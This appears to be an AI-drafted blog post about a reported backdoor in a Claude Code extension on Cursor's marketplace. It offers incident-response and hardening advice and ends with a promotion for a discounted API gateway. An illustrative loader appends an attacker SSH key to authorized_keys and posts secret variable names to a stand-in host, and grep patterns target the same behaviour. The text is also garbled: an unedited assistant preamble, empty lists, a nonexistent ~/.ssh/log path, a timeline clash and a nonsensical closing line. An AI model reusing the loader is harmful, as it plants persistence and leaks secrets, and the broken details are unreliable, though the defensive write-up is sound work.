Nov 11, 2026 · 6 min · Dev Guides

Backdoor in Claude Code for VS Code extension on the Cursor Marketp...

Backdoor in Claude Code for VS Code extension on the Cursor Marketp...

I’ll research the specifics of this VS Code extension compromise so the article is technically accurate rather than vague.## The Extension You Trusted Now Runs as Your SSH Administrator

On October 29, two versions of the Claude Code for VS Code extension—2.1.312 and 2.1.313—appeared compromised on Cursor’s extension marketplace. The tampered package contained code designed to plant persistent SSH access, enumerate sensitive environment variables, and communicate with an attacker-controlled server.

The extension was removed after roughly 11 hours, and reports put the number of possible installations at up to 5,000. That figure is an exposure estimate, not a confirmed infection count.

What makes this incident worth studying is not that developers sometimes install malicious software. It is that the payload arrived through a channel developers already trusted for one of the most privileged tools on their machines: an AI coding assistant with terminal access, repository credentials, cloud tokens, and potentially your production deployment keys.

The practical question is no longer simply “How do I check whether an extension contains malware?” It is: once an extension has that level of access, what would you even be able to detect?

How a Marketplace Compromise Turns Into a Backdoor

The attack targeted the distribution layer rather than Claude Code itself or Anthropic’s internal systems. A malicious actor with access to Cursor’s marketplace published a tampered copy of the extension.

The visible product still looked like the expected Claude Code extension. It still appeared in the familiar marketplace entry, retained the legitimate publisher identity, and offered the same developer experience. Nothing about installation required unusual permission prompts.

The technique is a classic supply-chain attack with four stages:

  1. Impersonate a trusted package
    The attacker publishes a package that looks legitimate and inherits the trust users have already granted to the marketplace.

  2. Execute payload code automatically
    VS Code extensions execute JavaScript and Node.js code when activated. A modified extension entry point can therefore run without the user invoking an obvious command.

  3. Establish persistence
    The payload targets SSH authorization mechanisms, commonly by adding an attacker-controlled public key to ~/.ssh/authorized_keys. Once present, that key permits direct remote login without the user’s password.

  4. Collect context for follow-on attacks
    The extension has access to the same process environment as the editor. That environment often contains API keys, CI tokens, database URLs, cloud credentials, and internal service endpoints.

A representative—not verbatim—loader might look like this:

// Illustrative pattern. Real malicious loaders use obfuscation,
// dynamic evaluation, and native or shell helpers to hide intent.
const fs = require("fs");
const os = require("os");
const path = require("path");
const https = require("https");

function installSshKey(publicKey) {
  const sshDir = path.join(os.homedir(), ".ssh");
  const authorizedKeys = path.join(sshDir, "authorized_keys");

  fs.mkdirSync(sshDir, { recursive: true, mode: 0o700 });

  const existing = fs.existsSync(authorizedKeys)
    ? fs.readFileSync(authorizedKeys, "utf8")
    : "";

  if (!existing.includes(publicKey.trim())) {
    fs.appendFileSync(authorizedKeys, publicKey.trim() + "\n");
  }
}

function reportEnvironment() {
  const names = Object.keys(process.env).filter((name) =>
    /KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL/i.test(name)
  );

  https.request(
    {
      hostname: "collector.example",
      path: "/inventory",
      method: "POST",
      headers: { "content-type": "application/json" }
    },
    (res) => res.resume()
  ).end(JSON.stringify({ names }));
}

The important detail is not the exact syntax. It is that extension activation already has the OS-level permissions of the developer who launched the editor. By the time the user notices anything, the malicious code runs with the same access as the legitimate extension.

Why SSH Persistence Is Particularly Dangerous

Adding a public key to authorized_keys is effective because it turns a one-time compromise into durable remote access.

A typical entry might be:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker-controlled-key

After that, an attacker can attempt:

ssh -i attacker_key developer@workstation.example.com

No stolen password is required. The developer’s existing SSH client, agent, credentials, and network access do the work.

That matters because a developer workstation often provides a bridge into several environments:

SSH persistence is also comparatively quiet. Unlike ransomware, it does not need to announce itself. The modified authorized_keys file may sit among dozens of legitimate entries, and many organizations do not have a strict process for reviewing it.

A Practical First-Hour Incident Response

If you installed the affected extension from Cursor’s marketplace on October 29, treat the workstation as potentially compromised until you verify it.

First, check the installed extension versions:

code --list-extensions --show-versions | grep -i claude

If you use Cursor directly, inspect its extension directory as well:

find ~/.cursor/extensions ~/.vscode/extensions \
  -maxdepth 1 -type d \
  -iname '*claude*' 2>/dev/null

Remove any version matching the compromised releases rather than assuming a later update repaired persistence:

code --uninstall-extension <publisher.extension>

Then inspect SSH authorization files:

for file in ~/.ssh/authorized_keys ~/.ssh/authorized_keys2; do
  test -f "$file" && {
    echo "=== $file ==="
    nl -ba "$file"
  }
done

Do not delete every key blindly. You need to distinguish your own keys from administrative, colleague, or automation keys. Compare the file against your known inventory, look at modification times, and check whether the machine’s SSH logs show successful logins you cannot explain:

grep -E "Accepted|Failed|Invalid user" ~/.ssh/log 2>/dev/null

On many systems, SSH authentication records live in the system journal instead:

sudo journalctl -u ssh --since "2026-10-28" | \
  grep -E "Accepted|Failed|Invalid user"

The broader response should include:

Deleting one extension is not enough if the payload executed months earlier. A reinstall restores the software, not necessarily the trust boundary.

The Harder Problem: Detecting Malice Inside a Legitimate Extension

Traditional package security checks focus on known malware signatures, suspicious permissions, and network destinations. Those remain useful, but they struggle with a compromised copy of a legitimate extension.

A developer can inspect a VS Code extension like this:

ls -lah ~/.cursor/extensions/<extension-dir>

Then search for filesystem, process, and network behavior:

grep -RniE \
  "authorized_keys|child_process|exec\(|spawn\(|eval\(|https?://|process\.env" \
  ~/.cursor/extensions/<extension-dir>

The result will contain noise. A legitimate AI coding extension may inspect files, spawn a CLI, read environment variables, and contact several services. That is exactly why simple grep is not a verdict.

More robust controls include:

Pin versions and verify provenance

Install specific versions rather than always accepting latest. For CI and managed workstations, mirror approved packages into an internal registry and verify signatures or hashes before deployment.

Reduce extension privileges

Run editor extensions inside a constrained environment where possible. Avoid giving an editor session production credentials, unrestricted cloud roles, or direct access to release infrastructure.

Monitor sensitive file integrity

A small file-integrity agent can alert on changes to SSH authorization files:

{
  "audit_rules": {
    "/home/*/.ssh/authorized_keys": {
      "mode": "change",
      "recursive": true
    },
    "/home/*/.config/gh/hosts.yml": {
      "mode": "change",
      "recursive": true
    }
  }
}

On Linux, inotify-based tooling or managed endpoint products can provide equivalent coverage.

Treat AI tooling as production software

An extension that can read the repository and execute shell commands deserves the same review as a CI job plugin or a browser extension with broad permissions. That means ownership, update review, provenance checks, and incident response procedures—not just a one-time malware scan.

What This Changes for API-Driven Applications

The extension incident is a desktop problem, but the underlying lesson applies directly to applications built with Claude, GPT, or Gemini APIs.

An AI agent with tool access is not merely a chat interface. It can become an execution boundary. If you give it a shell tool, a file-write tool, or an unrestricted database client, every prompt injection or compromised dependency becomes a potential path to data exfiltration.

A safer agent separates capabilities:

from dataclasses import dataclass
from typing import Literal

@dataclass
class ToolPolicy:
    allowed_commands: frozenset[str]
    allowed_paths: frozenset[str]
    max_output_bytes: int = 64_000


class RestrictedRunner:
    def __init__(self, policy: ToolPolicy):
        self.policy = policy

    def run(self, command: str, cwd: str) -> str:
        executable = command.split()[0]
        if executable not in self.policy.allowed_commands:
            raise PermissionError(f"Command blocked: {executable}")

        if not any(cwd.startswith(p) for p in self.policy.allowed_paths):
            raise PermissionError(f"Path blocked: {cwd}")

        # In production, execute inside a container or microVM
        # with a read-only filesystem and no ambient credentials.
        return f"would execute: {command}"

Three controls are worth applying consistently:

  1. Use short-lived, narrowly scoped credentials instead of long-lived environment variables.
  2. Run tools in isolated containers or microVMs with an explicit allowlist of paths, commands, and network destinations.
  3. Log tool calls and outputs, including prompts, model decisions, file paths touched, and outbound requests.

For example, a model should never need your production database password merely to inspect a schema. Give it a read-only credential scoped to that schema, place the runner in a container without cloud metadata access, and reject outbound traffic to unapproved hosts.

This is also where model portability has practical value. Claude, GPT, and Gemini differ in tool-calling behavior, context limits, latency, and cost, so teams frequently route tasks between them. Multi-model access is useful only if the security boundary stays outside the model. A provider change must not be able to expand filesystem permissions, credential scope, or network egress.

That is the model-access pattern AI Prime Tech is useful for: obtaining cheaper Claude, GPT, and Gemini API capacity without making provider selection part of your trust boundary. Keep credentials, policy enforcement, and audit logging in your own infrastructure.

The useful lesson from the Claude Code extension incident is not that Cursor, Anthropic, or extension marketplaces are inherently unsafe. Software distribution is a powerful mechanism, and the ecosystem depends on it.

The lesson is that a trusted marketplace entry is not an integrity guarantee. It is one link in a chain that can include marketplace accounts, build systems, dependencies, release processes, and developer workstations.

For AI developer tools, treat every installation as privileged code. Pin versions, verify provenance, isolate credentials, monitor SSH and token activity, and keep model API permissions separate from local developer authority. If a tool can write code, run commands, read environment variables, and call external services, compromise it carefully—you may need to treat it that way already.

C

Claude API publishes this blog. Articles are drafted with AI assistance; check version-specific details such as model IDs, prices and limits against the official documentation before relying on them.

Get cheaper Claude API access

One API key for Claude Opus 4.8, Sonnet 4.6, Haiku 4.5, Fable 5, plus GPT & Gemini — up to 80% off official pricing, pay-as-you-go.

Get Your API Key →
AI Prime Tech is an independent third-party API gateway. Claude™ and Anthropic® are trademarks of Anthropic, PBC. No affiliation or endorsement is implied.